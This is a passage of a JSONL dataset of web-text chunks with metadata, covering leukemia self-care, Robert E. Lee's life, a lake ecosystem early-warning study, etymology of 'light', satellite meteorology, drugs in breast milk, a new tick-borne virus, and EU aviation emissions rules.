american cancer society to help you find a support group. talking with other people who may have had similar feelings can be very helpful. there are other emotional issues you may face : if leukemia or its treatment causes pain, there are many ways to relieve it. if your doctor has given you instructions or medicines for pain, be sure to use them. and check with your doctor before trying any home treatment for pain. while some home treatments may be fine, others ( such as a nonsteroidal anti - inflammatory medication ) may not be safe if you have leukemia. emedicinehealth medical reference from healthwise to learn more visit healthwise. org \u00a9 1995 - 2012 healthwise, incorporated. healthwise, healthwise for every health decision, and the healthwise logo are trademarks of healthwise, incorporated. find out what women really need. pill identifier on rxlist - quick, easy, find a local pharmacy - including 24 hour, pharmacies", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4608802041836505, "token_count": 435, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.858046"} {"text": "robert e. lee robert edward lee ( january 19, 1807 - october 12, 1870 ) was born at stratford, in westmoreland county, virginia, son of revolutionary war hero henry lee ( \" lighthorse harry \" ). lee is best remembered in his role of commanding general of the confederate forces during the american civil war. like hannibal and rommel, his victories against superior forces in a losing cause made him as famous if not more famous than the general who defeated him. lee entered west point in 1825. when he graduated ( second in his class of forty six ) in 1829 he had not only attained the top academic record but was the first cadet ( and so far the only ) to graduate the academy without a single demerit. he was commissioned as second lieutenant in the engineers. lee served for seventeen months at fort pulaski on cockspur island, georgia. in 1831, he was transferred to fort monroe, virginia, as assistant engineer. while he was stationed there, he married mary anna randolph custis, the great - granddaughter of martha washington. they lived in the custis mansion, located on the banks of the potomac river in arlington, just across from washington, d. c. they eventually had three sons and four daughters. lee served as an assistant in the chief engineer ' s office in washington from 1834 to 1837, but spent the summer of 1835 helping to lay out the state line between ohio and michigan. in 1837, he got his first important command. as a first lieutenant of engineers, he supervised the engineering work for st. louis harbour and for the upper mississippi and missouri rivers. his work there earned him a promotion to captain. in 1841, he was transferred to fort hamilton in new york harbour, where he took charge of building fortifications. lee distinguished himself in the mexican war 1846 - 1848. he was one of winfield scott ' s chief aides in the march from vera cruz to mexico city. he was instrumental in several american victories by finding a route to attack the mexicans which was not defended because the terrain was thought to be impassable. he was promoted to major after the battle of cerro gordo in april, 1847. he also fought at contreras, cherubusco and chapultepec, and was wounded at the latter. by the end of the war he had been promoted to lieutenant - colonel. after the mexican war, he spent three years at fort carrol in baltimore harbor then became the superintendent of west point in 1852. during his three years at west point,", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.3802648260988386, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.866068"} {"text": ". by the end of the war he had been promoted to lieutenant - colonel. after the mexican war, he spent three years at fort carrol in baltimore harbor then became the superintendent of west point in 1852. during his three years at west point, he improved the buildings, the courses, and spent a lot of time with the cadets. these were not happy years for lee as he did not like to be away from his family for long periods of time, especially as his wife was becoming increasingly ill. lee came home to see her as often as he could. he happened to be in washington at the time of john brown ' s raid on harpers ferry, virginia ( now west virginia ) in 1859, and was sent there to arrest brown and to restore order. he did this very quickly and then returned to his regiment in texas. when texas seceded from the union in 1861, lee was called to washington, dc to wait for further orders. on april 18, 1861, on the eve of the american civil war, president abraham lincoln, through secretary francis blair, offered him command of the united states ( union ) army. there was little doubt as to lee ' s sentiments. he was opposed to secession. however his loyalty to his native virginia led him to join the confederacy. at the outbreak of war he was appointed to command all of virginia ' s forces, and then as one of the first five full generals of confederate forces. after commanding confederate forces in western virginia, and then in charge of coastal defenses along the carolina seaboards, he became military adviser to jefferson davis, president of the confederacy, whom he knew from west point. following the wounding of gen. joseph e. johnston at the battle of seven pines, on june 1, 1862, he received the command of the army of northern virginia and soon launched a series of attacks, the seven days campaign against general george b. mcclellan ' s union forces threatening richmond, virginia, the confederate capital. after mcclellan ' s retreat, lee defeated another union army in the battle of second manassas. he then invaded maryland, but retreated after evading destruction by mcclellan ' s superior force at battle of antietam. disappointed by mcclellan ' s failure to destroy lee ' s army, lincoln named ambrose burnside as commander of the army of the potomac. burnside ordered an attack across the rappahannock river at fredericksburg. delays in getting bridges built across the river allowed lee ' s army ample time to organize strong defenses, and the attack on december 12,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.362041578998617, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.867055"} {"text": "of the army of the potomac. burnside ordered an attack across the rappahannock river at fredericksburg. delays in getting bridges built across the river allowed lee ' s army ample time to organize strong defenses, and the attack on december 12, 1862 was a disaster for the union. lincoln then named joseph hooker commander of the army of the potomac. hooker ' s advance to attack lee in may 1863 near chancellorsville, virginia was defeated by lee and stonewall jackson ' s daring plan to divide the army and attack hooker ' s flank. it was an enormous victory over a larger force, but came at a great cost as jackson was fatally wounded. lee then proceeded to invade the north again, hoping for a southern victory that would compel the north to grant confederate independence. but his attempts to attack the union forces at gettysburg, pennsylvania failed. lee was compelled to retreat again and, as after antietam, was not vigorously pursued. following his defeat at gettysburg, lee sent a letter of resignation to confederate president jefferson davis on august 8, 1863 but davis refused lee ' s request upon receipt. in 1864, the new union supreme commander ulysses grant sought to destroy lee ' s army and capture richmond. lee and his men stopped each advance, but grant had courage and enough men to keep trying again a bit further to the east. these battles included the wilderness, spottsylvania courthouse, and cold harbor. after stopping a union attempt to capture petersburg, virginia, a vital railroad link supplying richmond, lee ' s men built elaborate trenches and stayed on the same lines from june 1864 until april 1865. on january 31, 1865, lee was promoted to be general - in - chief of confederate forces. in early 1865, he urged adoption of a scheme to allow slaves to join the confederate army in exchange for their freedom. the scheme never came to fruition in the short time the confederacy had left. as the confederate army was worn down by months of battle, a union attempt to capture petersburg on april 2, 1865 succeeded. lee abandoned the defense of richmond and sought to join general joseph johnston ' s army in north carolina. his forces were surrounded by the union army and he surrendered to general grant on april 9, 1865, at appomattox courthouse, virginia. following the war, lee applied for, but was never granted, the official postwar amnesty. his wife ' s family home the custis - lee mansion, where they had lived before the civil war, had been confiscated by union forces and now is part of arlington national cemetery.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3957939122491327, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.868079"} {"text": "a tale of two lakes : one gives early warning signal for ecosystem collapse first experimental evidence that radical ecosystem change can be detected in advance researchers eavesdropping on complex signals from a remote wisconsin lake have detected what they say is an unmistakable warning - - a death knell - - of the impending collapse of the lake ' s aquatic ecosystem. the finding, reported in the journal science by a team of researchers led by stephen carpenter, an ecologist at the university of wisconsin - madison ( uw - madison ), is the first experimental evidence that radical change in an ecosystem can be detected in advance, possibly in time to prevent ecological catastrophe. \" for a long time, ecologists thought these changes couldn ' t be predicted, \" says carpenter. \" but we ' ve now shown that they can be foreseen. the early warning is clear. it is a strong signal. \" \" this research shows that, with careful monitoring, we can foresee shifts in the structure of ecosystems despite their complexity, \" agrees alan tessier, program director in nsf ' s division of environmental biology. \" the results point the way for ecosystem management to become a predictive science. \" the findings suggest that, with the right kind of monitoring, it may be possible to track the vital signs of any ecosystem and intervene in time to prevent what is often irreversible damage to the environment. \" with more work, this could revolutionize ecosystem management, \" carpenter says. \" the concept has now been validated in a field experiment and the fact that it worked in this lake opens the door to testing it in rangelands, forests and marine ecosystems. \" \" networks for long - term ecological observation, such as the [ nsf ] long - term ecological research network, increase the possibility of detecting early warnings through comparisons across sites and among regions, \" the scientists write in their paper. ecosystems often change in radical ways. lakes, forests, rangelands, coral reefs and many other ecosystems are often transformed by overfishing, insect pests, chemical changes in the environment, overgrazing and shifting climate. for humans, ecosystem change can impact economies and livelihoods such as when forests succumb to an insect pest, rangelands to overgrazing, or fisheries to overexploitation. a vivid example of a collapsed resource is the atlantic cod fishery. once the most abundant and sought - after fish in the north atlantic, cod stocks collapsed in the 1990s due to overfishing, causing widespread economic hardship in new england and canada. now,", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.470345688184422, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.874651"} {"text": "vivid example of a collapsed resource is the atlantic cod fishery. once the most abundant and sought - after fish in the north atlantic, cod stocks collapsed in the 1990s due to overfishing, causing widespread economic hardship in new england and canada. now, the ability to detect when an ecosystem is approaching the tipping point could help prevent such calamities. in the new study, the wisconsin researchers, collaborating with scientists at the cary institute for ecosystem studies in millbrook, n. y., the university of virginia in charlottesville and st. norbert college in de pere, wis., focused their attention on peter and paul lakes, two isolated and undeveloped lakes in northern wisconsin. peter is a six - acre lake whose biota were manipulated for the study and nearby paul served as a control. an explosion of largemouth bass young - of - year accelerated the manipulated lake ' s changes. credit : tim cline the group led by carpenter experimentally manipulated peter lake over a three - year period by gradually adding predatory largemouth bass to the lake, which was previously dominated by small fish that consumed water fleas, a type of zooplankton. the purpose, carpenter notes, was to destabilize the lake ' s food web to the point where it would become an ecosystem dominated by large predators. in the process, the researchers expected to see a relatively rapid cascading change in the lake ' s biological community, one that would affect all its plants and animals in significant ways. \" we start adding these big ferocious fish and almost immediately this instills fear in the other fish, \" carpenter says. \" the small fish begin to sense there is trouble and they stop going into the open water and instead hang around the shore and structures, things like sunken logs. they become risk - averse. \" the biological upshot, says carpenter, is that the lake became \" water flea heaven. \" the system becomes one where the phytoplankton, the preferred food of the lake ' s water fleas, is highly variable. \" the phytoplankton get hammered and at some point the system snap into a new mode, \" says carpenter. throughout the lake ' s three - year manipulation, all its chemical, biological and physical vital signs were continuously monitored to track even the smallest changes that would announce what ecologists call a \" regime shift, \" where an ecosystem undergoes radical and rapid change from one type to another. it was in these massive sets of data that carpenter and his colleagues were able to", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5333598164650087, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.877355"} {"text": "monitored to track even the smallest changes that would announce what ecologists call a \" regime shift, \" where an ecosystem undergoes radical and rapid change from one type to another. it was in these massive sets of data that carpenter and his colleagues were able to detect the signals of the ecosystem ' s impending collapse. ecologists first discovered similar signals in computer simulations of spruce budworm outbreaks. every few decades the insect ' s populations explode, causing widespread deforestation in boreal forests in canada. computer models of a virtual outbreak, however, seemed to undergo odd blips just before the outbreak. the problem was solved by william \" buz \" brock, a uw - madison economist who for decades has worked on the mathematical connections of economics and ecology. automated equipment monitored lake conditions every five minutes. credit : james coloso brock utilized a branch of applied mathematics known as bifurcation theory to show that the odd behavior was in fact an early warning of catastrophic change. in short, he devised a way to sense the transformation of an ecosystem by detecting subtle changes in the system ' s natural patterns of variability. the upshot of the peter lake field experiment, says carpenter, is a validated statistical early warning system for ecosystem collapse. the catch, however, is that for the early warning system to work, intense and continuous monitoring of an ecosystem ' s chemistry, physical properties and biota are required. such an approach may not be practical for every threatened ecosystem, says carpenter, but he also cites the price of doing nothing. \" these regime shifts tend to be hard to reverse. it is like a runaway train once it gets going and the costs - - both ecological and economic - - are high. \" in addition to carpenter and brock, authors of the science paper include jonathan cole of the cary institute of ecosystem studies ; michael pace, james coloso and david seekell of the university of virginia at charlottesville ; james hodgson of st. norbert college ; and ryan batt, tim cline, james kitchell, laura smith and brian weidel of uw - madison. april 28, 2011 - cheryl dybas, nsf ( 703 ) 292 - 7734 email @ example. com - terry devitt, university of wisconsin - madison ( 608 ) 262 - 8282 firstname. lastname @ example. org", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5618358628202804, "token_count": 472, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.881864"} {"text": "- light ( n. ) - \" brightness, radiant energy, \" old english leht, earlier leoht \" light, daylight ; luminous, beautiful, \" from west germanic * leukhtam ( cf. old saxon lioht, old frisian liacht, middle dutch lucht, dutch licht, old high german lioht, german licht, gothic liuha\u00fe \" light \" ), from pie * leuk - \" light, brightness \" ( cf. sanskrit rocate \" shines ; \" armenian lois \" light, \" lusin \" moon ; \" greek leukos \" bright, shining, white ; \" latin lucere \" to shine, \" lux \" light, \" lucidus \" clear ; \" old church slavonic luci \" light ; \" lithuanian laukas \" pale ; \" welsh llug \" gleam, glimmer ; \" old irish loche \" lightning, \" luchair \" brightness ; \" hittite lukezi \" is bright \" ). the - gh - was an anglo - french scribal attempt to render the germanic hard - h - sound, which has since disappeared from this word. the figurative spiritual sense was in old english ; the sense of \" mental illumination \" is first recorded mid - 15c. meaning \" something used for igniting \" is from 1680s. meaning \" a consideration which puts something in a certain view ( e. g. in light of ) is from 1680s. something that ' s a joy and a delight has been the light of ( someone ' s ) eyes since old english : \u00f0u eart dohtor min, minra eagna leoht [ juliana ]. to see the light \" come into the world \" is from 1680s ; later in a christian sense. - light ( adj. 1 ) - \" not heavy, \" from old english leoht \" not heavy, light in weight ; easy, trifling ; quick, agile, \" from proto - germanic * lingkhtaz ( cf. old norse lettr, swedish latt, old frisian, middle dutch licht, german leicht, gothic leihts ), from pie root * legwh - \" not heavy, having little weight \" ( cf. latin levis \" light, \" old irish lu \" small ; \" see lever ). the notion in make light of ( 1520s ) is of \" unimportance. \" alternative spelling lite, the darling of advertisers, is first", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.591054532785793, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.887618"} {"text": "##s \" light, \" old irish lu \" small ; \" see lever ). the notion in make light of ( 1520s ) is of \" unimportance. \" alternative spelling lite, the darling of advertisers, is first recorded 1962. the adverb is old english leohte, from the adjective. light - skirts \" woman of easy virtue \" is attested from 1590s. to make light of is from 1520s. - light ( v. 1 ) - \" touch down, \" from old english lihtan \" to alight ; alleviate, leave, \" from proto - germanic * linkhtijan, literally \" to make light, \" from * lingkhtaz \" not heavy \" ( see light ( adj. 1 ) ). apparently the ground sense is \" to dismount a horse, etc., and thus relieve it of one ' s weight. \" to light out \" leave hastily \" is 1870, from a nautical meaning \" move out, move heavy objects, \" of unknown origin but perhaps belonging to this word ( cf. lighter ( n. 1 ) ). - light ( v. 2 ) - \" to illuminate, fill with brightness, \" old english lyhtan, common germanic ( cf. old saxon liohtian, old high german liuhtan, german leuchten, gothic liuhtjan \" to light \" ), from source of from light ( n. ). related : lighted ; lighting. - light ( adj. 2 ) - \" not dark, \" old english leoht, common germanic ( cf. old saxon and old high german lioht, old frisian liacht, german licht \" bright, \" from the source of old english leoht ( see light ( n. ) ). meaning \" pale - hued \" is from 1540s.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5521985966331664, "token_count": 383, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.888277"} {"text": "the prime objective of the eumetsat polar system ( eps ) metop mission series is to provide continuous, long - term datasets, in support of operational meteorological and environmental forecasting and global climate monitoring. the eps programme consists of a series of three polar orbiting metop satellites, to be flown successively for more than 14 years, from 2006, together with the relevant ground facilities. metop - a was launched on 19 october 2006 and metop - b was launched on 17 september 2012. metop carries a set of ' heritage ' instruments provided by the united states and a new generation of european instruments that offer improved remote sensing capabilities to both meteorologists and climatologists. the new instruments will augment the accuracy of temperature humidity measurements, readings of wind speed and direction, and atmospheric ozone profiles. nwp is the basis of all modern global and regional weather forecasting. the data generated by the instruments carried by metop can be assimilated directly into nwp models to compute forecasts ranging from a few hours up to 10 days ahead. measurements from infrared and microwave radiometers and sounders on board metop provide nwp models with crucial information on the global atmospheric temperature and humidity structure, with a high vertical and horizontal resolution. eps also ensures continuity in the long - term monitoring of factors known to play an important role in climate change, for example changing patterns in the distribution of global cloud, snow and ice cover, and ocean surface temperatures and winds. in particular, the infrared atmospheric sounding interferometer ( iasi ) instrument has the ability to detect and accurately measure the levels and circulation patterns of gases that are known to influence the climate, such as carbon dioxide. this heralds a breakthrough in the global monitoring of the climate. the data collected by iasi feeds into the models, for the first time showing the variable global distribution of carbon dioxide as a function of seasons and circulation anomalies such as the southern oscillation ( also known as el nino ) and the north atlantic oscillation ( nao ). eps programme background eps is the european contribution to a joint european - us satellite system, called the initial joint polar - orbiting operational satellite system ( ijps ). this is an agreement between eumetsat and the national oceanic and atmospheric administration ( noaa ). the terms of this partnership were first cemented through an agreement concluded in 1998. to develop eps there are also cooperative agreements with the european space agency ( esa ) and centre national d ' etudes spatiales ( cnes ). the initial", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.48124401657996835, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.893358"} {"text": "there is great confusion among the scientific community about whether women who are drug abusers should breast feed their babies. in order to shed some light on this issue, scientists from various spanish hospitals and research centres are reviewing the methods used to detect substances in breast milk, their adverse effects, and the recommendations that mothers should follow in this month ' s issue of the journal analytical and bioanalytical chemistry. \" the general recommendation is to totally avoid drug abuse while breastfeeding, because these substances can pass directly through to the newborn \", oscar garcia algar, co - author of the study and a doctor in the paediatrics department at the hospital del mar in barcelona, tells sinc. the researcher adds : \" this recommendation extends to the prenatal period, because these substances are passed on to the foetus via the placenta, and then in the postnatal period via the environment. if they have exposure through the milk, they will certainly also have had it during the pregnancy, and they can also be in the environment, as is the case with tobacco smoke \". for this study, the team used the average daily intake of the breastfeeding baby, around 150 millilitres of milk per kilo of weight, as a benchmark. the recommendations are listed for each substance, taking the advice of the american academy of pediatrics ( aap ) as a reference. nicotine, caffeine and alcohol the breast milk of smoking mothers contains between 2 and 240 nanograms of nicotine per millilitre, which means their babies receive a dose equivalent to 0. 3 to 36 micrograms / kg / day. these infants tend to suffer more from colic and are more prone to respiratory infections. the advice is to give up smoking during pregnancy and breastfeeding, or at least to limit the habit as much as possible, extend the time between the last cigarette and the baby ' s feed, use nicotine patches, smoke outside the house and avoid smoky environments. caffeine \u2013 found in coffee, tea, cola drinks and medicines \u2013 can cause irritability and insomnia. although the level of caffeine absorption varies greatly from one person to another, this substance has a lengthy half - life in newborns. for this reason, it is recommended to reduce consumption during breastfeeding to a maximum of 300 mg / day, equivalent to around three cups of coffee per day. for alcohol, the exact risk is still ill - defined, and no studies have been carried out to corre", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4388345532700761, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.902572"} {"text": "is recommended to reduce consumption during breastfeeding to a maximum of 300 mg / day, equivalent to around three cups of coffee per day. for alcohol, the exact risk is still ill - defined, and no studies have been carried out to correlate the dose, although some research suggests it can harm the infant ' s motor development, as well as causing changes to their sleep patterns, reduce the amount they eat, and increase the risk of hypoglycaemia. the aap feels that alcohol consumption is compatible with breastfeeding, but this study states that no amount can be considered safe until the levels in breast milk are established. strategies for minimising risk include feeding the baby before consuming alcoholic drinks, or at least allowing two or three hours to pass after drinking. alcoholic women are advised to feed their babies with a bottle. the risks of alcohol to the foetus in pregnant women have already been shown. \" but despite this, a recent study by our group showed that 45. 7 % of the women who came to give birth in our hospital had consumed considerable amounts of alcohol during pregnancy \", says the doctor. cannabis, cocaine and other drugs cannabis, which is transmitted both through the mother ' s milk and smoke, can cause sedation, lethargy, weakness and poor feeding habits in breastfeeding babies. the long - term risks are also unknown. women are advised not to use it, but if they use marijuana occasionally, the experts advise them to do so several hours before feeding, and not to expose their children to the smoke. the advice on cocaine, meanwhile, is to \" totally avoid it \" during breastfeeding. the first case of toxicity caused by this drug through breast milk was a baby boy just two weeks old who suffered irritability, trembling, dilated pupils, tachycardia and high blood pressure after feeding. women are also advised against breastfeeding if they take amphetamines. these can cause agitation, crying and lack of sleep. using them also reduces a mother ' s ability to care for her children. breastfeeding is not recommended either for women who use heroin, which is excreted into the milk in sufficient amounts to cause addiction in the baby. in the case of \" need \", the advice is to allow at least one or two days to pass after taking the drug before feeding the baby, and to start a substitute treatment as soon as possible, if possible with methadone. other opiates used as medicines \u2013 morphine, meperidi", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4533034839115444, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.903688"} {"text": "allow at least one or two days to pass after taking the drug before feeding the baby, and to start a substitute treatment as soon as possible, if possible with methadone. other opiates used as medicines \u2013 morphine, meperidine and codeine \u2013 are excreted into the milk in minimal amounts and are compatible with breastfeeding, as are benzodiazepines, as long as they are taken in controlled doses. these are the drugs most frequently prescribed to women during pregnancy and after birth. in terms of anti - depressant and anti - psychotic drugs, the aap says \" these can be a cause for concern during breastfeeding \". for now, their effects on breastfeeding babies are unknown, and further studies are recommended. friguls b, joya x, garcia - algar o, pallas cr, vall o, pichini s. \" a comprehensive review of assay methods to determine 5 drugs in breast milk and the safety of breastfeeding 6 when taking drugs \". analytical and bioanalytical chemistry 397 ( 3 ) : 1157 - 79, junio de 2010. doi 10. 1007 / s00216 - 010 - 3681 - 0. aaas and eurekalert! are not responsible for the accuracy of news releases posted to eurekalert! by contributing institutions or for the use of any information through the eurekalert! system.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4128815283742341, "token_count": 296, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.904230"} {"text": "galveston, texas \u2014 five years ago, large numbers of farmers in central china began falling victim to an mysterious disease marked by high fever, gastrointestinal disorder and an appalling mortality rate \u2014 as high as 30 percent in initial reports. investigators from the chinese center for disease control and prevention hurried to the scene of the outbreak. on the basis of dna evidence, they quickly concluded that it had been caused by human granulocytic anaplasmosis, a bacteria transmitted by tick bites. now, though, subsequent studies have shown that original conclusion was incorrect, and that a previously unknown and dangerous virus has been responsible for seasonal outbreaks of the disease in six of china ' s most populated provinces. \" we expected to find a bacterial infection behaving in an unexpected way \u2014 human anaplasmosis has a less than one percent fatality rate in the u. s., and it rarely causes abdominal pain or vomiting or diarrhea, \" said dr. xue - jie yu of the university of texas medical branch at galveston, lead author of a paper on the discovery now appearing in the \" online advance \" section of the new england journal of medicine. \" instead, we found an unknown virus. \" researchers have dubbed the newly discovered pathogen severe fever with thrombocytopenia syndrome virus, and placed it in the bunyaviridae family, along with the hantaviruses and rift valley fever virus. later investigation has placed its mortality rate at 12 percent, still alarmingly high. yu, a specialist in tick - borne bacteria like the species responsible for hga, first suspected that a virus might be responsible for the outbreaks after close examination of patients ' clinical data showed big differences from symptoms produced by hga, and blood sera drawn from patients revealed no hga or hga antibodies. yu became certain that a virus was at fault after sera taken from patients retained its ability to kill cells, despite being passed through a filter that blocked all bacteria. still, initial genetic tests failed to generate a match with a known pathogen. \" clearly, we had a virus, but what virus? \" yu said. \" i told the people i was working with that they needed to be even more careful, because we were working with an unknown. \" that caution seemed appropriate when electron microscope studies of deactivated virus particles revealed what appeared to be a hantavirus \u2014 associated in asia with hemorrhagic fever and in the americas with a deadly pulmonary syndrome. but when yu and his colleagues managed to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4563053580186461, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.908935"} {"text": "seemed appropriate when electron microscope studies of deactivated virus particles revealed what appeared to be a hantavirus \u2014 associated in asia with hemorrhagic fever and in the americas with a deadly pulmonary syndrome. but when yu and his colleagues managed to extract the virus ' entire genetic code, they found that it didn ' t match any other known virus. when researchers from the chinese center for disease control and prevention led by study author dr. yu wang analyzed sera taken from 241 symptomatic patients from henan, hubei, shandong, anhui, jiangsu and liaoning provinces, they found 171 contained either the previously unknown virus itself or antibodies against it. in addition, the scientists found the virus in 10 out of 186 ticks collected from farm animals in the area where the patients lived. \" this seems to be a tick - borne disease, and the disease comes out when the ticks come out, from late march to late july, \" yu said. \" fortunately, even though the full life cycle is not clear, we know that for the virus humans are a dead end \u2014 we don ' t have human - to - human transmission as we did with sars. \" other authors of the new england journal of medicine paper include utmb health visiting scientist dr. yan liu, professor vsevolod popov, professor dr. david walker and research associate dr. lihong zhang ; dr. qun li, wen - wu yin, hang zhou and dr. zi - jian feng of the chinese center for disease control and prevention ; dr. mi - fang liang, jian - dong li, dr. yu - lan sun, quan - fu zhang, chuan li, dr. yan - ping zhang, wei wu, qin wang, shi - wen wang, jing - dong song, tao wan, li - na sun, dr. tao hong and dr. de - xin li of the state key laboratory for molecular virology and genetic engineering, national institute for viral disease control and prevention ; shou - yin zhang, dr. rong hai, biao kan, kang - lin wan, dr. huai - qi jing, dr. jin - xin lu, jin - rong he, jing - shang zhang and xiu - ping fu of the state key laboratory for infectious disease control and prevention, national institute for communicable disease control and prevention ; fa - xian zhan, xu - hua guan and dr. jia - fa liu of the hubei province cdc ; dr. xian", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45468751558202664, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.909869"} {"text": "laboratory for infectious disease control and prevention, national institute for communicable disease control and prevention ; fa - xian zhan, xu - hua guan and dr. jia - fa liu of the hubei province cdc ; dr. xian - jun wang and zhen - qiang bi of the shandong province cdc ; dr. guo - hua liu of the henan province cdc ; dr. jun ren of the anhui province cdc ; dr. hua wang of the jiangsu province cdc ; dr. zhuo zhao of the liaoning province cdc ; and dr. yu zhang of the hubei province department of health. the china mega - project for infectious diseases, the western regional center of excellence for biodefense and emerging infectious diseases and the chinese recruitment program of global experts provided support for this research. about utmb health : established in 1891, texas ' first academic health center comprises four health sciences schools, three institutes for advanced study, a research enterprise that includes one of only two national laboratories dedicated to the safe study of infectious threats to human health, and a health system offering a full range of primary and specialized medical services throughout galveston county and the texas gulf coast region. utmb health is a component of the university of texas system. the university of texas medical branch at galveston public affairs office 301 university boulevard, suite 3. 102 galveston, texas 77555 - 0144 aaas and eurekalert! are not responsible for the accuracy of news releases posted to eurekalert! by contributing institutions or for the use of any information through the eurekalert! system.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4747517406705628, "token_count": 318, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.910485"} {"text": "the main elements of the compromise are as follows : all flights starting and / or landing in europe ( including intercontinental flights ) to be included in the ets from 1 january 2012 ; the eu to have an obligation to seek an agreement on global measures to reduce greenhouse gas emissions from aviation. bilateral agreements, for example with the us, could be a first step ; 85 percent of the emissions certificates to be allocated for free according to a common european benchmark. 15 percent to be auctioned ; the reduction target to be calculated on the basis of airlines ' average annual emissions between 2004 - 2006 : in the first period ( 2012 ), airline emissions to be cut by 3 percent ; in the second, from 2013 onwards, by 5 percent. the percentage to be further modified as part of the general review of the ets ; the revenues generated from the auctioning of emissions allowances should be used to fund : climate change mitigation ; research on clean aircraft ; anti - deforestation measures in the developing world ; the deal says that \" it shall be for member states to determine the use to be made of revenues generated from the auctioning of allowances. those revenues should be used to tackle climate change in the eu and third countries, inter alia, to reduce greenhouse gas emissions, to adapt to the impacts of climate change in the eu and third countries, especially developing countries, to fund research and development for mitigation and adaptation, including in particular in the fields of aeronautics and air transport, to reduce emissions through low - emissions transport, and to cover the cost of administering the scheme. the proceeds of auctioning should also be used to fund contributions to the global energy efficiency and renewable energy fund, and measures to avoid deforestation. \" commenting on the compromise deal he helped broker over the last few weeks, peter liese ( epp - ed, de ), ep rapporteur on emissions, said : \" of course, a global agreement is our final goal, but the inclusion of third country flights starting and landing in europe is a major step for the global fight against climate change. other industries like steel would very much like to be in such a situation. \" the parliament, said mr liese, has fought for very strict provisions concerning the revenues from auctioned allowances. \" money should be used to tackle climate change and not disappear somewhere in the general budget. it is not a tax but an environmental instrument. this is why we are very engaged in this field. the agreement is not perfect, but the council went further than on any", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.46202689463841545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.915299"} {"text": "be used to tackle climate change and not disappear somewhere in the general budget. it is not a tax but an environmental instrument. this is why we are very engaged in this field. the agreement is not perfect, but the council went further than on any other comparable occasion. \" highlighting the importance of funding public transport to reduce emissions, mr liese added : \" people should be encouraged to use buses and trains - for example by reducing taxes and charges on [ such ] low emissions transports. \" exemptions for some light airplanes with a take - off weight under 5. 7 tonnes, flights for humanitarian purposes under a un mandate, fire - fighting and other emergency flights, police, customs and military flights research flights are excluded from the scheme, and small airline companies producing low emissions are excluded. government and head of state flights included flights performed exclusively for the transport, on official mission, of a reigning monarch and his immediate family, heads of state, heads of government and government ministers, of an eu member state are included. according to the european commission ' s impact assessment : \" fully passing on costs to customers would mean that by 2020 airline tickets for a return journey could increase by \u20ac4. 6 to \u20ac39. 6, depending on the journey length. \" the compromise was adopted with 640 votes in favour, 30 against and 20 abstentions.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4592713888424319, "token_count": 269, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.915871"} {"text": "on the 83rd anniversary of mlk \u2019 s birthday, 